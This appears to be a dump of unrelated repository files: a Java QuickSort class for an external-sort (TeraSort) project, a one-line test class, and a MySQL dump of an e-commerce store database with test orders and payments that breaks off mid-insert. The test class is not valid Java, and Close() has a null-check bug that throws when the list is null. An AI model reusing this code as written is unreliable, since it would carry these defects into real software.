// as this object is less than, equal to, or greater than the specified object
return key1.compareTo(key2);
}
protected void DeleteFile(String fileName){
File file = new File(fileName);
file.delete();
}
}
<file_sep>package com.company;
import java.io.*;
import java.util.*;
//import org.apache.commons.io.FileUtils;
/**
* Created by mialiu on 3/19/16.
*/
public class QuickSort {
private String _fileName;
private List<String> _tmpFile = new ArrayList<>();
private List<String> _lines = null;
private File _file = null;
private Random _random = new Random();
private RandomAccessFile raf;
private int _maxLength = 0;
//File _inputStream = null;
//Scanner _scanner = null;
public QuickSort(String fileName, int maxLength) {
_fileName = fileName;
_maxLength = maxLength;
try {
//_inputStream = new File(_fileName);
//_scanner = new Scanner(_inputStream/*, "UTF-8"*/);
_file = new File(_fileName);
//_lines = FileUtils.readLines(_file);
} catch (Exception e) {
Close();
}
}
protected boolean Close() {
boolean result = true;
// if (_file != null) {
// try {
// _file.close();
// } catch (IOException e) {
// e.printStackTrace();
// result = false;
// }
// }
// if (_scanner != null) {
// try {
// _scanner.close();
// } catch (Exception e) {
// e.printStackTrace();
// result = false;
// }
// }
if (_lines != null || !_lines.isEmpty()) {
_lines.clear();
}
return result;
}
protected void LoadFile(long begin, long length) {
int lineNum = 1;
_lines = new ArrayList<>();
try {
RandomAccessFile raf = new RandomAccessFile(_file, "r");
raf.seek(begin * 100);
FileReader fr = new FileReader(raf.getFD());
BufferedReader br = new BufferedReader(fr);
String line = null;
while ((line = br.readLine()) != null && lineNum <= length){
//String line = _scanner.nextLine();
_lines.add(line);
//System.out.println(line);
lineNum++;
}
br.close();
//System.out.println("Load file, begin: " + begin + ", length: " + length + ", lineNum: " + lineNum);
} catch (Exception e) {
e.printStackTrace();
}
//System.out.println(lineNum);
}
protected void RandomizedQuickSort(List<String> A, int p, int r) {
if(p < r){
int q = RandomizedPartition(A, p, r);
RandomizedQuickSort(A, p, q - 1);
RandomizedQuickSort(A, q + 1, r);
}
}
protected int RandomizedPartition(List<String> A, int p, int r) {
int k = _random.nextInt(r + 1 - p) + p;
ExchangeLines(A, r, k);
String x = A.get(r);
int i = p - 1;
for (int j = p; j <= r - 1; j++){
if (CompareLines(A.get(j), x) < 0) {
++i;
ExchangeLines(A, i, j);
}
}
ExchangeLines(A, i + 1, r);
return i + 1;
}
protected void ExchangeLines(List<String> A, int i, int j){
String line1 = A.get(i);
String line2 = A.get(j);
String tmp = line1;
A.set(j, tmp);
tmp = line2;
A.set(i, tmp);
}
protected int CompareLines(String line1, String line2){
int keyNum = 10;
/*
if (line1.length()<98) {
System.out.println("Q:length: " + line1.length() + '\t' + line1);
return -1;
}
if (line2.length()<98) {
System.out.println("Q:length: " + line2.length() + '\t' + line2);
return 1;
}
*/
String key1 = line1.substring(0, keyNum);
String key2 = line2.substring(0, keyNum);
// Return: a negative integer, zero, or a positive integer
// as this object is less than, equal to, or greater than the specified object
return key1.compareTo(key2);
}
protected void Write(String out){
try {
FileWriter _writer = new FileWriter(out, false);
BufferedWriter bw = new BufferedWriter(_writer);
for (String line : _lines){
//_writer.write(Integer.toString((int) line.charAt(0) ) );
/*
if (line.length()<98) {
System.out.println("Q:Write:Length: "+ line.length() + '\t' + line);
}
*/
bw.write(line);
bw.write("\r\n");
}
bw.flush();
bw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public void Run(long begin, long length, int tmpFileIndex){
if (_file == null || !_file.exists()) {
return;
}
double loop = Math.ceil((double)length / _maxLength);
for (int i = 0; i < loop; i++) {
long acLenghth = length < _maxLength ? length : _maxLength;
LoadFile(begin + i * _maxLength, acLenghth);
RandomizedQuickSort(_lines, 0, _lines.size() - 1);
String out = _fileName + '.' + Integer.toString(tmpFileIndex) + '.' + Integer.toString(i);
_tmpFile.add(out);
Write(out);
Close();
length -= acLenghth;
System.out.println("In quick sort, " + out + " has been created. begin: "
+ (begin + i * _maxLength) + " length: " + (length < _maxLength ? length : _maxLength));
}
}
public List<String> GetTmpFileName() {
return _tmpFile;
}
}
| 2a526a35f73a7f8134e675f10073b0afdc6f872f | [
"Java"
] | 2 | Java | mmmisty/TeraSort | 0f1641cb1212e0a7d3a7302fb44b8a9c32f3fe7b | cce2f925948d1987724b0c5fa91a841dc9454671 |
refs/heads/master | <file_sep>public void TestClass {
if (true) {
return;
}
} | d3475fa0cc8ae3678a9129d219de93d672ca7c5d | [
"Java"
] | 1 | Java | KurokiRen/testParus | 894b63b697d869fea4a5bae17905cb65effbde66 | fe4531a02a090d480e8aa5faabe63b79a3f80beb |
refs/heads/master | <file_sep>-- phpMyAdmin SQL Dump
-- version 4.9.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Nov 06, 2020 at 03:19 PM
-- Server version: 10.4.8-MariaDB
-- PHP Version: 7.3.11
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `store`
--
-- --------------------------------------------------------
--
-- Table structure for table `address`
--
CREATE TABLE `address` (
`address_id` varchar(30) NOT NULL,
`address` varchar(255) DEFAULT NULL,
`country` varchar(20) DEFAULT NULL,
`city` varchar(20) DEFAULT NULL,
`zip_id` varchar(20) DEFAULT NULL,
`street` varchar(20) DEFAULT NULL,
`order_id` varchar(30) NOT NULL,
`user_name` varchar(255) DEFAULT NULL,
`user_id` varchar(30) NOT NULL,
`is_active` binary(1) DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `address`
--
INSERT INTO `address` (`address_id`, `address`, `country`, `city`, `zip_id`, `street`, `order_id`, `user_name`, `user_id`, `is_active`) VALUES
('39a93ec2-6ba4-4a28-a367-acdf39', NULL, 'United', 'California', 'dasdsad', 'sdsad', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('3be0cd0c-6ab7-4acd-a9f5-a765cb', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('407d2748-a263-4d00-8f3c-fca3e1', NULL, 'United', 'California', 'dasdsad', 'sdsad', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('7b44d92d-1166-11eb-9632-f81654', '22may', 'yemen', 'sanaa', '00967', 'alasbahy', '', 'noof', '4e8f4455-1163-11eb-9632-f81654', 0x31),
('8e587ab7-76a1-4bc4-8ed7-c08e99', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('b0355ec3-3b7a-43d8-9de5-d9f7cd', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('b2b92054-88da-45dd-bd20-c7b506', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('d835cd3e-35b7-4d5b-bf7f-232063', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('eb4509dc-ad69-429f-9185-b0c954', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('f8c247fc-85a3-4b0d-9141-24b6be', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31),
('faefd9fe-c708-4a0e-94b7-96b1fb', NULL, '0', '', '', '', '', 'name', '2f0a6093-e60d-44a7-9b5b-72976f', 0x31);
-- --------------------------------------------------------
--
-- Table structure for table `advertisement`
--
CREATE TABLE `advertisement` (
`adver_id` varchar(30) NOT NULL,
`adver_name` varchar(50) DEFAULT NULL,
`offer_id` varchar(30) NOT NULL,
`adver_img` varchar(255) DEFAULT NULL,
`adver_details` text DEFAULT NULL,
`adver_namber` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `bank`
--
CREATE TABLE `bank` (
`bank_id` varchar(30) NOT NULL,
`bank_name` varchar(50) DEFAULT NULL,
`bank_imgs` text DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `bank`
--
INSERT INTO `bank` (`bank_id`, `bank_name`, `bank_imgs`) VALUES
('83445de3-1168-11eb-9632-f81654', 'ALkuraimi', NULL);
-- --------------------------------------------------------
--
-- Table structure for table `bank_details`
--
CREATE TABLE `bank_details` (
`bank_detail_id` varchar(30) NOT NULL,
`bank_acount` varchar(255) DEFAULT NULL,
`bank_moeny` decimal(20,0) DEFAULT NULL,
`status` binary(1) DEFAULT '1',
`Exp_date` datetime DEFAULT NULL,
`full_name` varchar(50) NOT NULL,
`user_id` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `bank_details`
--
INSERT INTO `bank_details` (`bank_detail_id`, `bank_acount`, `bank_moeny`, `status`, `Exp_date`, `full_name`, `user_id`) VALUES
('eqweqw-wqewq-2121we', '123123123', NULL, 0x01, '2020-11-10 00:00:00', 'ewqe eqweqwe', '4e8f4455-1163-11eb-9632-f81654'),
('rwrwehgh-gdgfgd', '54353454543', NULL, 0x01, '2021-01-20 00:00:00', 'utyuty uytu', '4e8f4455-1163-11eb-9632-f81654');
-- --------------------------------------------------------
--
-- Table structure for table `cart`
--
CREATE TABLE `cart` (
`cart_id` varchar(30) NOT NULL,
`total_price` decimal(10,2) DEFAULT NULL COMMENT 'السعر الكلي لكل المنتجات بالسله',
`quentity` int(12) DEFAULT NULL COMMENT 'الكمية',
`type` int(1) DEFAULT 1,
`user_id` varchar(30) NOT NULL,
`pro_id` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `cart`
--
INSERT INTO `cart` (`cart_id`, `total_price`, `quentity`, `type`, `user_id`, `pro_id`) VALUES
('106ec8a5-08cd-4f03-9847-d72876', '1299.62', 1, 2, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(1)'),
('1d3eaf1e-eccd-4042-9f5a-70fed4', '2599.24', 2, 1, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(1)'),
('241ca5c8-9929-41bb-9208-8c7af4', '1574.94', 2, 3, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(6)'),
('29f18d7c-127c-4de7-bd54-11f7bd', '1630.00', 2, 3, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(2)'),
('358f1ff6-60d1-414a-b77a-06d901', '787.47', 1, 2, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(6)'),
('8b30f4be-7e3c-41bc-85c0-68e59d', '3898.86', 3, 3, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(1)'),
('9b74c5ff-80a3-4969-b507-995c1a', '1648.80', 3, 1, '2f0a6093-e60d-44a7-9b5b-72976f', 'eqweq23123dasdad'),
('ab78e5b7-1952-475c-b8d3-9fff01', '787.47', 1, 1, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(6)'),
('b3079538-63fe-4d29-9232-98254f', '1596.98', 2, 3, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(3)'),
('bef8de64-795f-422b-8cfc-22b429', '815.00', 1, 2, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(2)'),
('fca8fcaa-f320-48fb-874f-74912c', '4757.82', 6, 1, '2f0a6093-e60d-44a7-9b5b-72976f', 'uuid(4)');
-- --------------------------------------------------------
--
-- Table structure for table `cart_details`
--
CREATE TABLE `cart_details` (
`cart_details_id` varchar(30) NOT NULL,
`total_price` decimal(10,2) DEFAULT NULL COMMENT 'السعر الكلي لكل منتج بالسله',
`Quantity` int(11) DEFAULT NULL COMMENT 'الكمية',
`pro_id` varchar(30) DEFAULT NULL COMMENT 'رقم المنتج',
`cart_id` varchar(30) NOT NULL COMMENT 'رقم السلة'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `categories`
--
CREATE TABLE `categories` (
`cat_id` varchar(30) NOT NULL,
`cat_name` varchar(40) DEFAULT NULL,
`parent` varchar(30) DEFAULT NULL,
`create_date` datetime DEFAULT NULL,
`is_active` binary(1) DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `categories`
--
INSERT INTO `categories` (`cat_id`, `cat_name`, `parent`, `create_date`, `is_active`) VALUES
('0ad3e0fb-5711-4a47-8562-6b4da2', 'this is for test2', '2', '2020-10-21 23:56:54', 0x6f),
('1', 'Labtops', '0', '2020-10-04 00:17:21', 0x31),
('1396aa41-b3aa-4c64-8e9e-29227f', 'this is for test', '3', '2020-10-22 08:26:28', 0x6f),
('17f640b0-3626-437c-85ab-a6e851', 'this is for test', '0', '2020-10-22 09:06:04', 0x6f),
('1de0176f-b84e-4d8e-8731-fa0909', 'this is for test', '0', '2020-10-22 09:31:53', 0x6f),
('2', 'Mobiles', '0', '2020-10-19 00:17:21', 0x31),
('20d0a57b-3ff4-49d6-bc92-233f9f', 'this is for test5', '0', '2020-10-22 08:45:21', 0x6f),
('3', 'Accessories', '0', '2020-10-18 00:00:00', 0x31),
('42ae0a78-72c6-47df-840c-09de67', 'this is for test', '0', '2020-10-22 09:04:02', 0x6f),
('56f44f64-94c5-4384-9e6e-e0dd59', 'this is for test2', '2', '2020-10-21 23:58:24', 0x6f),
('97498ca5-cd2f-4e54-9b8d-ee016c', 'this is for test', '1', '2020-10-21 23:55:23', 0x6f),
('acfa5c9c-d9a2-4e49-b9bb-29d2e2', 'this is for test3', '0', '2020-10-22 09:06:24', 0x6f),
('bd108cf7-c8c2-426a-9b2b-1e3fed', 'this is for test', '1', '2020-10-21 23:52:13', 0x6f),
('c6ee98cc-1e6b-47e2-ac32-7a1718', 'this is for test2', '0', '2020-10-22 08:41:24', 0x6f),
('ea9578fb-f9a0-43a6-a0f1-285688', 'this is for test5', '0', '2020-10-22 09:02:32', 0x6f);
-- --------------------------------------------------------
--
-- Table structure for table `dicount`
--
CREATE TABLE `dicount` (
`discount_id` varchar(30) NOT NULL,
`dicount_amont` decimal(11,0) DEFAULT NULL,
`offer_id` varchar(30) NOT NULL,
`pro_id` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `extra_item`
--
CREATE TABLE `extra_item` (
`id` varchar(30) NOT NULL,
`extra_item_id` int(11) DEFAULT NULL,
`qunetity` int(11) DEFAULT NULL,
`offer_id` varchar(30) NOT NULL,
`pro_id` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `offers`
--
CREATE TABLE `offers` (
`offer_id` varchar(30) NOT NULL,
`start_date` datetime DEFAULT NULL,
`end_date` datetime DEFAULT NULL,
`is_active` varchar(255) DEFAULT NULL,
`type_id` varchar(30) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `offer_item_out`
--
CREATE TABLE `offer_item_out` (
`id` varchar(30) NOT NULL,
`description` int(11) DEFAULT NULL,
`offer_id` varchar(30) NOT NULL,
`pro_id` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `offer_type`
--
CREATE TABLE `offer_type` (
`type_id` varchar(30) NOT NULL,
`type` varchar(255) DEFAULT NULL,
`is_active` binary(1) DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `orders`
--
CREATE TABLE `orders` (
`order_id` varchar(40) NOT NULL,
`total_price` decimal(10,2) DEFAULT NULL COMMENT 'السعر الكلي للفاتورة ',
`start_date` datetime DEFAULT NULL COMMENT 'تاريخ بدء الطلب ',
`deliver_date` datetime DEFAULT NULL COMMENT 'متى تم توصيل الطلب ',
`end_date` datetime DEFAULT NULL COMMENT 'التاريخ النهائي لتسليم الطلب ',
`order_status` binary(1) DEFAULT '1' COMMENT 'حاله الطلب هل تم الاستلام او لا',
`payment_id` varchar(40) NOT NULL,
`address_id` varchar(40) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `orders`
--
INSERT INTO `orders` (`order_id`, `total_price`, `start_date`, `deliver_date`, `end_date`, `order_status`, `payment_id`, `address_id`) VALUES
('0a89e9a2-a1c2-44c6-a58f-acc7647fd218', '490.09', '2020-11-05 13:06:51', NULL, NULL, 0x32, '7c46f28d-f41d-42fb-b691-9f2c56', '407d2748-a263-4d00-8f3c-fca3e1'),
('132aae82-f8b0-45f7-b337-24e809315432', '1556.25', '2020-11-05 12:59:54', NULL, NULL, 0x31, '', ''),
('2aa29a04-371c-437d-9915-3b80a18b0646', NULL, '2020-11-05 04:05:58', NULL, NULL, 0x31, '', ''),
('2cf6ce38-7673-4953-93a6-cd9b916922ad', '1039.69', '2020-11-05 13:31:30', NULL, NULL, 0x31, '', ''),
('2f0317f7-f135-46e5-97a9-f19aaeee9d5d', '55654.00', '2020-11-05 02:49:31', NULL, NULL, 0x31, '10ace36d-90a0-4b71-b141-e47f12', '407d2748-a263-4d00-8f3c-fca3e1'),
('4a68c838-b4de-4606-b002-0cb57629e0d2', NULL, '2020-11-05 03:59:21', NULL, NULL, 0x31, '', ''),
('515db61e-482e-4b79-8343-d2b007d7a4de', NULL, '2020-11-05 03:56:53', NULL, NULL, 0x31, '', ''),
('61a01597-3c19-4816-a6af-193e31e30bda', '1039.69', '2020-11-05 20:57:01', NULL, NULL, 0x31, '5272fa9b-51b3-40ab-a356-0a1b28', '39a93ec2-6ba4-4a28-a367-acdf39'),
('66ff230e-5f9f-4ed9-98b3-7f2aaf759e9c', '55654.00', '2020-11-05 01:50:18', NULL, NULL, 0x31, '10ace36d-90a0-4b71-b141-e47f1224ff09', '507721b0-adf7-4c0b-bd96-2134683ed163'),
('75aeea8b-3ad6-48f8-8b46-57f116580511', '490.09', '2020-11-05 13:38:46', NULL, NULL, 0x32, '477c9dd2-b9a5-4325-90d1-8ff7586f40e6', '407d2748-a263-4d00-8f3c-fca3e1'),
('7b5b3b2c-6266-46ee-ab02-c3bf1fa319a3', NULL, '2020-11-05 04:04:59', NULL, NULL, 0x31, '', ''),
('7e54f2fd-385c-4493-b0fc-9026aee852bf', NULL, '2020-11-05 03:53:40', NULL, NULL, 0x31, '', ''),
('871c696b-c81f-4d53-a6a9-271befd86f36', '3310.71', '2020-11-05 12:58:30', NULL, NULL, 0x31, '', ''),
('95140764-6491-497f-8d8c-3b8ae98ba603', '490.09', '2020-11-05 04:07:20', NULL, NULL, 0x31, '', ''),
('a628ed14-cb46-42db-bab9-8c4f2b15bf6a', '980.18', '2020-11-05 13:22:23', NULL, NULL, 0x31, '', ''),
('caf7b0ed-0f2f-42bc-9f26-3a805a6de1a8', NULL, '2020-11-05 03:52:59', NULL, NULL, 0x31, '', ''),
('d8b2c1be-2f2e-4655-9d7f-a6192cee9789', '490.09', '2020-11-05 04:10:48', NULL, NULL, 0x31, '19eca6e1-25dd-44e0-89b6-8528c4', '39a93ec2-6ba4-4a28-a367-acdf39'),
('df0ee678-46f2-4de7-83fa-2fb6d9b523d3', NULL, '2020-11-05 03:55:28', NULL, NULL, 0x31, '', ''),
('e0a106ec-f07b-4d5c-f3e8-e89ce0', '55654.00', '2020-11-05 01:44:05', NULL, NULL, 0x31, '', ''),
('ff6759a2-5d74-40db-bf56-6eeb4530b416', '2047.44', '2020-11-05 08:34:51', NULL, NULL, 0x32, '3d757b37-d18b-408c-80c3-6be2c7', '39a93ec2-6ba4-4a28-a367-acdf39');
-- --------------------------------------------------------
--
-- Table structure for table `oreder_details`
--
CREATE TABLE `oreder_details` (
`details_id` varchar(40) NOT NULL,
`pro_id` varchar(30) NOT NULL COMMENT 'رقم المنتج',
`quentity` int(11) DEFAULT NULL COMMENT 'الكمية من المنتج',
`total_price` decimal(10,2) DEFAULT NULL COMMENT 'السعر الكلي للمنتج الواحد ',
`order_id` varchar(40) NOT NULL COMMENT 'رقم الطلب '
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `oreder_details`
--
INSERT INTO `oreder_details` (`details_id`, `pro_id`, `quentity`, `total_price`, `order_id`) VALUES
('071f20eb-717a-4307-af6d-a9f22ad508e4', 'uuid(18)', 1, '490.09', '7b5b3b2c-6266-46ee-ab02-c3bf1fa319a3'),
('17d99e17-3ffd-4c72-8570-40375e3deed3', 'uuid(18)', 1, '490.09', 'ff6759a2-5d74-40db-bf56-6eeb4530b416'),
('25b18a2f-25f2-4872-a580-53fa12cb1abd', 'eqweq23123dasdad', 1, '549.60', '132aae82-f8b0-45f7-b337-24e809315432'),
('26c65681-148d-481b-b5b9-84b84d5fc098', 'eqweq23123dasdad', 1, '549.60', '2aa29a04-371c-437d-9915-3b80a18b0646'),
('2ac25a00-f1ac-4303-bbbf-75aab0753b52', 'uuid(18)', 1, '490.09', '75aeea8b-3ad6-48f8-8b46-57f116580511'),
('2b8f8373-1180-4f56-cffb-2ab254', 'eqweq23123dasdad', 1, '549.60', 'e0a106ec-f07b-4d5c-f3e8-e89ce0'),
('30f3ab49-bfb2-45c6-8c59-3834862c4734', 'uuid(18)', 1, '490.09', '2cf6ce38-7673-4953-93a6-cd9b916922ad'),
('364f9271-72be-4172-af7b-fccf5e36a99e', 'uuid(18)', 1, '490.09', '2f0317f7-f135-46e5-97a9-f19aaeee9d5d'),
('3e9eb0ec-b368-46c3-43b5-e3f6d3', 'uuid(15)', 1, '351.35', 'e0a106ec-f07b-4d5c-f3e8-e89ce0'),
('3f16b158-9e7e-4793-851d-595681b251c3', 'uuid(17)', 1, '516.56', 'ff6759a2-5d74-40db-bf56-6eeb4530b416'),
('442ff222-5266-4a36-a18e-74981066fe89', 'uuid(18)', 1, '490.09', 'd8b2c1be-2f2e-4655-9d7f-a6192cee9789'),
('4e7f8672-5846-4b69-8174-3488437de559', 'uuid(17)', 1, '516.56', '2f0317f7-f135-46e5-97a9-f19aaeee9d5d'),
('5815fe96-9b57-44c4-9c8a-db91f903100b', 'eqweq23123dasdad', 1, '549.60', '871c696b-c81f-4d53-a6a9-271befd86f36'),
('5afbfde2-f62d-4667-974f-a314fcaece3f', 'uuid(18)', 2, '980.18', 'a628ed14-cb46-42db-bab9-8c4f2b15bf6a'),
('5e669701-d5c8-47ee-b17d-e021d107957a', 'uuid(18)', 1, '490.09', '66ff230e-5f9f-4ed9-98b3-7f2aaf759e9c'),
('67cc92b2-c2aa-4046-b8ce-26a43b7c34c4', 'uuid(18)', 1, '490.09', '61a01597-3c19-4816-a6af-193e31e30bda'),
('6b4834d1-7942-4daa-98c6-8d4d69967d3f', 'eqweq23123dasdad', 1, '549.60', '2cf6ce38-7673-4953-93a6-cd9b916922ad'),
('6faa8732-314a-491d-9da6-6ec0923c9cfe', 'eqweq23123dasdad', 1, '549.60', 'df0ee678-46f2-4de7-83fa-2fb6d9b523d3'),
('723c47e9-c164-47a2-86da-989273f87591', 'uuid(16)', 1, '491.19', 'ff6759a2-5d74-40db-bf56-6eeb4530b416'),
('7dc01646-2d2f-4707-916f-bef34ca43c62', 'eqweq23123dasdad', 1, '549.60', '66ff230e-5f9f-4ed9-98b3-7f2aaf759e9c'),
('86449668-5fff-47cf-85dc-022161894aa2', 'eqweq23123dasdad', 1, '549.60', 'caf7b0ed-0f2f-42bc-9f26-3a805a6de1a8'),
('924456c7-b034-4084-cadd-9f01f8', 'uuid(18)', 1, '490.09', 'e0a106ec-f07b-4d5c-f3e8-e89ce0'),
('9a504e68-cae1-4137-9d63-68e797cada66', 'uuid(17)', 1, '516.56', '132aae82-f8b0-45f7-b337-24e809315432'),
('9d0b49d4-c2b1-4dc9-817d-065f4f08c318', 'uuid(18)', 1, '490.09', '132aae82-f8b0-45f7-b337-24e809315432'),
('a33e5f8a-a89f-4957-955a-a72b9cf06ef0', 'eqweq23123dasdad', 2, '1099.20', '4a68c838-b4de-4606-b002-0cb57629e0d2'),
('a4c62012-cb75-41b1-bc42-bab142910626', 'eqweq23123dasdad', 3, '1648.80', '515db61e-482e-4b79-8343-d2b007d7a4de'),
('ad4d4880-5b63-4483-ab5d-5aff0d4351e7', 'eqweq23123dasdad', 1, '549.60', '7b5b3b2c-6266-46ee-ab02-c3bf1fa319a3'),
('c166d7c0-ac82-4344-a24d-3e2e9fc5aca6', 'uuid(16)', 1, '491.19', '871c696b-c81f-4d53-a6a9-271befd86f36'),
('c2c78c6a-66d4-4827-ac9a-dd6a4cb742d6', 'uuid(15)', 1, '351.35', '66ff230e-5f9f-4ed9-98b3-7f2aaf759e9c'),
('cc857dd1-8e84-4f50-b1ce-c541ae4b9b0e', 'uuid(18)', 1, '490.09', '95140764-6491-497f-8d8c-3b8ae98ba603'),
('d5f4a260-fa8b-428b-8462-f4408e9ab7e3', 'uuid(19)', 1, '1263.27', '871c696b-c81f-4d53-a6a9-271befd86f36'),
('d85908de-eff9-4e0a-8bd3-17be676984f6', 'eqweq23123dasdad', 1, '549.60', 'ff6759a2-5d74-40db-bf56-6eeb4530b416'),
('db18b0bc-9766-49e7-a166-b3ff22f8b2cb', 'uuid(18)', 1, '490.09', '0a89e9a2-a1c2-44c6-a58f-acc7647fd218'),
('dccc6977-b011-4f9e-b206-818cc558a760', 'uuid(17)', 1, '516.56', '871c696b-c81f-4d53-a6a9-271befd86f36'),
('e1dc6c0d-6ea2-480b-8357-07024ccf8de9', 'uuid(18)', 1, '490.09', '871c696b-c81f-4d53-a6a9-271befd86f36'),
('e5305c1d-653d-4671-8e9b-b7ec2cc02896', 'eqweq23123dasdad', 1, '549.60', '7e54f2fd-385c-4493-b0fc-9026aee852bf'),
('ee7d0abd-5756-4fda-8611-dd7299cf513d', 'eqweq23123dasdad', 1, '549.60', '2f0317f7-f135-46e5-97a9-f19aaeee9d5d'),
('f518a02e-7b6b-4abe-849a-5b2e7e112e9f', 'uuid(18)', 1, '490.09', 'df0ee678-46f2-4de7-83fa-2fb6d9b523d3'),
('ff613377-d995-471b-bb77-8e9288b0019a', 'eqweq23123dasdad', 1, '549.60', '61a01597-3c19-4816-a6af-193e31e30bda');
-- --------------------------------------------------------
--
-- Table structure for table `payment`
--
CREATE TABLE `payment` (
`payment_id` varchar(40) NOT NULL,
`full_name` varchar(50) DEFAULT NULL,
`userbank_id` varchar(30) NOT NULL,
`bank_id` varchar(30) NOT NULL,
`ex_date` datetime DEFAULT NULL,
`user_id` varchar(30) NOT NULL,
`is_admin` binary(1) DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `payment`
--
INSERT INTO `payment` (`payment_id`, `full_name`, `userbank_id`, `bank_id`, `ex_date`, `user_id`, `is_admin`) VALUES
('04333639-3388-4898-add8-cd6799', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('24470777-1169-11eb-9632-f81654', 'noof senan', '21212121', '83445de3-1168-11eb-9632-f81654', '2022-10-01 21:04:38', '', 0x31),
('2593579b-b320-43bf-b42a-2e0e2b', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('28e08bcb-2143-4d5d-b593-ccaaa8', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('296d73d2-b8b1-4725-a9d2-1ceca4', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('39bcf79a-2c4a-428f-ae45-9ae756a96ea6', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('3d757b37-d18b-408c-80c3-6be2c7', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('477c9dd2-b9a5-4325-90d1-8ff7586f40e6', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('5272fa9b-51b3-40ab-a356-0a1b28', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('6171be53-3576-4650-b475-d4e677', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('7c46f28d-f41d-42fb-b691-9f2c56', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('7d039c31-47ef-4296-a335-f44033', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('9ace1063-6cf6-485f-969d-6ffa99', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('c6764189-7826-4a5b-a644-f01cbe', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('d79428aa-c58a-44d8-b744-06b3d9', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('db876e26-930e-45c0-be67-197530', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
